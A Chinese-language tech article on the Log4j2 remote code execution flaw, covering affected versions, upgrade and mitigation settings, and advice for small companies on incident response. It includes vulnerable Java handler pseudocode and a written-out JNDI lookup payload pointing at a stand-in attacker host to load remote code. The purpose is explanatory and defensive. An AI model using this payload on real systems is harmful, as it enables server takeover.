自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Log4j史詩(shī)級(jí)漏洞,我們這些小公司能做些什么?

安全 漏洞
12月10日,看到朋友圈中已經(jīng)有人在通宵修改、上線系統(tǒng)了。隨即,又看到阿里云安全、騰訊安全部門發(fā)出的官方報(bào)告:”Apache Log4j2存在遠(yuǎn)程代碼執(zhí)行漏洞“,且漏洞已對(duì)外公開。

 [[439896]]

事件背景

12月10日,看到朋友圈中已經(jīng)有人在通宵修改、上線系統(tǒng)了。隨即,又看到阿里云安全、騰訊安全部門發(fā)出的官方報(bào)告:”Apache Log4j2存在遠(yuǎn)程代碼執(zhí)行漏洞“,且漏洞已對(duì)外公開。

看到相關(guān)消息,馬上爬起來(lái)把所有項(xiàng)目的日志系統(tǒng)過(guò)濾一遍,還好老項(xiàng)目采用的log4j,新項(xiàng)目采用的logback,沒(méi)有中招。隨后就看到朋友圈鋪天蓋地的相關(guān)消息。

作為一個(gè)史詩(shī)級(jí)的事件,緊急修改漏洞是必然的。作為程序員,如果看到這則消息,連去核查一下系統(tǒng)都做不到,那真的不是一個(gè)合格的程序員。

經(jīng)歷過(guò)這次事件,不僅是看熱鬧而已,還要思考一下,作為小公司如何避免、提前預(yù)防、做好準(zhǔn)備應(yīng)對(duì)這類Bug。

漏洞描述

Apache Log4j2是一款優(yōu)秀的Java日志框架,與Logback平分秋色,大量主流的開源框架采用了Log4j2,像Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影響。所以,這樣一個(gè)底層框架出現(xiàn)問(wèn)題,影響面可想而知。

漏洞信息:Apache Log4j 2.15.0-rc1 版本存在漏洞繞過(guò),需及時(shí)更新至 Apache Log4j 2.15.0-rc2 版本。

影響范圍:2.0 <= Apache log4j2 <= 2.14.1。

最新修復(fù)版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

補(bǔ)救方案

方案一:升級(jí)版本,發(fā)布系統(tǒng);

方案二:臨時(shí)補(bǔ)救:

  • 修改JVM參數(shù),設(shè)置 -Dlog4j2.formatMsgNoLookups=true。
  • 在涉及漏洞的項(xiàng)目的類路徑(classpath)下增加log4j2.component.properties配置文件并增加配置項(xiàng)log4j2.formatMsgNoLookups=true。
  • 將系統(tǒng)環(huán)境變量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設(shè)置為 true。

攻擊原理

攻擊偽代碼示例:

  1. import org.apache.log4j.Logger; 
  2.  
  3. import java.io.*; 
  4. import java.sql.SQLException; 
  5. import java.util.*; 
  6.  
  7. public class VulnerableLog4jExampleHandler implements HttpHandler { 
  8.  
  9.   static Logger log = Logger.getLogger(log4jExample.class.getName()); 
  10.  
  11.   /** 
  12.    * 示例偽代碼:一個(gè)簡(jiǎn)單的HTTP端點(diǎn),其中讀取User Agent信息并進(jìn)行日志記錄; 
  13.    */ 
  14.   public void handle(HttpExchange he) throws IOException { 
  15.    // 獲取user-agent信息 
  16.     String userAgent = he.getRequestHeader("user-agent"); 
  17.      
  18.     // 此行記錄日志的代碼,通過(guò)記錄攻擊者控制的HTTP用戶代理標(biāo)頭來(lái)觸發(fā)RCE。 
  19.     // 攻擊者可以設(shè)置他們的User-Agent header到${jndi:ldap://attacker.com/a} 
  20.     log.info("Request User Agent:" + userAgent); 
  21.  
  22.     String response = "<h1>Hello There, " + userAgent + "!</h1>"
  23.     he.sendResponseHeaders(200, response.length()); 
  24.     OutputStream os = he.getResponseBody(); 
  25.     os.write(response.getBytes()); 
  26.     os.close(); 
  27.   } 

基于上述代碼的基本攻擊步驟:

  • 請(qǐng)求對(duì)應(yīng)的HTTP端點(diǎn)(或接口),在請(qǐng)求信息中攜帶攻擊代碼(比如,在user-agent中攜帶${jndi:ldap://attacker.com/a});
  • 服務(wù)器在通過(guò)Log4j2執(zhí)行日志記錄時(shí),記錄中包含了基于JNDI和LDAP的惡意負(fù)載${jndi:ldap://attacker.com/a},其中attacker.com是攻擊者控制的地址。
  • 記錄日志操作觸發(fā)向攻擊者控制的地址發(fā)送請(qǐng)求。
  • 對(duì)應(yīng)請(qǐng)求返回在響應(yīng)中返回可執(zhí)行的惡意代碼,注入到服務(wù)器進(jìn)程當(dāng)中。比如返回,https://attacker.com/Attack.class 。
  • 進(jìn)而執(zhí)行腳本控制服務(wù)器。

騰訊安全專家的復(fù)現(xiàn)如下:

log4j2漏洞復(fù)現(xiàn)

小公司程序員能做些什么?

關(guān)于漏洞及解決方案,上面已經(jīng)詳細(xì)聊了,問(wèn)題基本得以解決。在大的互聯(lián)網(wǎng)企業(yè),是有專門的安全運(yùn)維部門來(lái)監(jiān)控、掃描這些漏洞的。但在小公司,很顯然沒(méi)有這樣的條件。

那么,我們?cè)撛趺崔k?同時(shí),作為事件的經(jīng)歷者,你是否思考過(guò)這個(gè)事件中反映出的一些其他問(wèn)題嗎?

第一,是否第一時(shí)間得到消息?

在大企業(yè),一旦發(fā)現(xiàn)這樣的漏洞,安全部門會(huì)第一時(shí)間進(jìn)行通知。但在小企業(yè),沒(méi)有安全部門,你是如何獲取到漏洞的消息的呢?

比如我所在的企業(yè),是沒(méi)有安全部門的,但也幾乎是第一時(shí)間得知漏洞消息,進(jìn)行系統(tǒng)排查的。

作為程序員,如果漏洞消息已經(jīng)爆出很久,你卻一無(wú)所知,那就應(yīng)該反思一下朋友圈的質(zhì)量以及對(duì)技術(shù)熱點(diǎn)的關(guān)注度問(wèn)題了。

如何獲得圈內(nèi)第一手消息,取決于也反映著你在社交圈或技術(shù)圈所處的位置與現(xiàn)狀。

第二,是否置若罔聞?

很多朋友可能也看到了這則漏洞消息,但也就是看一下熱鬧,然后該干嘛干嘛了,系統(tǒng)有漏洞就有漏洞了唄~

如果你是如此,或你的團(tuán)隊(duì)是如此,你真的需要反省一下職業(yè)素養(yǎng)問(wèn)題了。

很多人可能覺(jué)得自己很牛,覺(jué)得自己懷才不遇,覺(jué)得工資收入低,覺(jué)得被虧待……那么,對(duì)照一下對(duì)這件事所作出的反應(yīng),基本就知道自己是不是被虧待了。

第三,如何應(yīng)對(duì)突發(fā)事件?

這樣的突發(fā)事件,也是對(duì)系統(tǒng)運(yùn)維、團(tuán)隊(duì)管理的一個(gè)考驗(yàn),也是一個(gè)仿真練習(xí):大家都正在進(jìn)行著當(dāng)前業(yè)務(wù)的開發(fā),有一個(gè)突發(fā)Bug要修改,改一半的代碼如何操作?如大面積發(fā)布?

第一,改一半的代碼怎么辦?如果你的團(tuán)隊(duì)的代碼開發(fā)都是基于master(主干)進(jìn)行開發(fā)、提交代碼,針對(duì)這樣的突發(fā)事件,必然會(huì)面對(duì)改了一半的代碼,提交了,想一起發(fā)布但還沒(méi)測(cè)試,這種騎虎難下的局面。

所以,代碼的管理(如何打分支、合并分支、分支與主干代碼不同環(huán)境的發(fā)布)必須得從日常的點(diǎn)滴做起,當(dāng)突發(fā)事件發(fā)生時(shí),也不至于手忙腳亂。

第二,有大量項(xiàng)目需要發(fā)布怎么辦?當(dāng)然,最古老的方式就是一個(gè)系統(tǒng)一個(gè)系統(tǒng)手動(dòng)發(fā)布。如果是微服務(wù)及應(yīng)用較多,不僅容易出現(xiàn)錯(cuò)誤,而且耗時(shí)較長(zhǎng)。這就提醒我們,構(gòu)建自動(dòng)化發(fā)布流程的重要性。

第四,怎么找出系統(tǒng)漏洞?

有安全部門的公司,會(huì)定期掃描系統(tǒng)漏洞,那么沒(méi)有安全部門的公司只能坐以待斃嗎?

其實(shí),還是有一些方法可以發(fā)現(xiàn)系統(tǒng)的一些漏洞的。比如,勤關(guān)注使用框架的版本升級(jí)、利用三方提供的漏洞掃描(比如阿里云服務(wù)器的安全掃描)、與同行交流等手段。

小結(jié)

任何一個(gè)漏洞對(duì)軟件系統(tǒng)來(lái)說(shuō)都有可能是致命的,也需要我們謹(jǐn)慎對(duì)待的。對(duì)于漏洞的處理及做出的反應(yīng)也是從業(yè)者職業(yè)素養(yǎng)的體現(xiàn)。

而如果能從一次次突發(fā)事件中學(xué)習(xí)、思考到更多內(nèi)容,你將比別人更快的成長(zhǎng)。

責(zé)任編輯:武曉燕 來(lái)源: 程序新視界
相關(guān)推薦

2022-05-30 14:04:23

Log4j遠(yuǎn)程代碼漏洞

2021-12-13 01:49:34

漏洞Log4j代碼

2021-12-13 06:56:46

漏洞Log4j對(duì)象

2022-03-25 13:42:15

Log4j漏洞網(wǎng)絡(luò)安全

2021-12-11 19:04:38

漏洞

2021-12-23 09:47:36

Log4jRCE漏洞DoS漏洞

2022-03-30 11:29:53

漏洞補(bǔ)丁Spring

2021-12-14 23:44:26

漏洞Log4j項(xiàng)目

2022-01-24 10:02:53

漏洞微軟網(wǎng)絡(luò)攻擊

2021-12-24 09:52:31

Traefik Log4J 漏洞

2021-12-23 11:03:25

Log4j 漏洞漏洞

2022-01-10 11:54:54

FTCLog4j聯(lián)邦貿(mào)易委員會(huì)

2022-01-02 07:07:55

CISAApache Log4漏洞

2023-11-10 10:08:23

2022-01-06 09:52:39

Log4j漏洞攻擊

2021-12-21 14:25:01

Log4j2漏洞網(wǎng)絡(luò)

2021-06-03 10:58:16

logbacklog4jJava

2022-02-15 17:51:38

Log4j漏洞網(wǎng)絡(luò)安全

2022-02-13 16:18:57

JetBrainsIntelliJLog4j

2021-12-22 16:53:31

Log4jLog4j庫(kù)零日漏洞
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)